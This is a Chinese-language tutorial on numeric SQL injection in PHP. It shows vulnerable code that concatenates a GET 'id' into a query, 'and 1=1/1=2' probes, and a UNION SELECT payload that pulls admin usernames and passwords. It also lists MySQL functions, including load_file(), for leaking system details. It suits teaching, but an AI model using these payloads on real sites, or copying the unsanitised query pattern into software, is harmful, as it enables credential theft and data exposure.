PHP漏洞之【整型数字型SQL注入】
0x01 什么是SQL注入
SQL是一种注入攻击,通过前端带入后端数据库进行恶意的SQL语句查询。
0x02 SQL整型注入原理
SQL注入一般发生在动态网站URL地址里,当然也会发生在其它地发,如登录框等等也会存在注入,只要是和数据库打交道的地方都有可能存在。
如这里http://192.168.30.22/intsql/shownews.php?id=5 我们打开shownews.php源文件看下代码
if(isset($_GET['id'])) { $id=$_GET["id"]; } else { echo "<script language='javascript'>"; echo "alert('ÇëÊäÈëÕýÈ·ID£¡');"; echo " location='index.php';"; echo "</script>"; exit; } $sql4="select * from news where id=$id"; $result4=mysql_query($sql4); if($nums=mysql_num_rows($result4)) { $rs4=mysql_fetch_array($result4); $title=$rs4["title"]; $content=$rs4["content"]; $hits=$rs4["hits"]; $fbsj=date("Y-m-d",strtotime($rs4['fbsj'])); $sql="update news set hits=hits+1 where id=$id"; mysql_query($sql); }
首先定义一个变量id,$id=$_GET["id"];获取GET的值,
然后定义一个sql4变量来存放sql查询语句,并和刚才变量id进行拼接组合,
$sql4="select * from news where id=$id";
最后带入数据库进行查询 $result4=mysql_query($sql4);
由此可以确定此文件存在SQL注入漏洞,id是数字型
0x03 验证漏洞
现在我们在地址栏id=5 后面输入 and 1=1 页面返回了正常
那么代码里的sql语句拼接起来应该就是$sql4="select * from news where id=5 and 1=1"; //整条语句带入数据库进行查询 SQL语句返回为真即true
现在我们在地址栏id=5 后面输入 and 1=2 页面返回了错误
那么代码里的sql语句拼接起来应该就是$sql4="select * from news where id=5 and 1=2"; //整条语句带入数据库进行查询 SQL语句返回为假即false
依次类推,如果看不懂的话,可以去补一点sql基本语法知识。
最后在查询出管理员的后台账号和密码 and 1=2 UNION SELECT 1,username,password,4,5,6,7 from gly
可以看到SQL语句拼接起来变成一条完整的select * from news where id=5 and 1=2 UNION SELECT 1,username,password,4,5,6,7 from gly
mysql数据库一些常用函数: 我们也可以加到查询语句里进行爆出对应的信息
1:system_user() 系统用户名
2:user() 用户名
3:current_user 当前用户名
4:session_user()连接数据库的用户名
5:database() 数据库名
6:version() MYSQL数据库版本 @@version
7:load_file() MYSQL读取本地文件的函数
8:@@datadir 读取数据库路径
9:@@basedir MYSQL 安装路径
10:@@version_compile_os 操作系统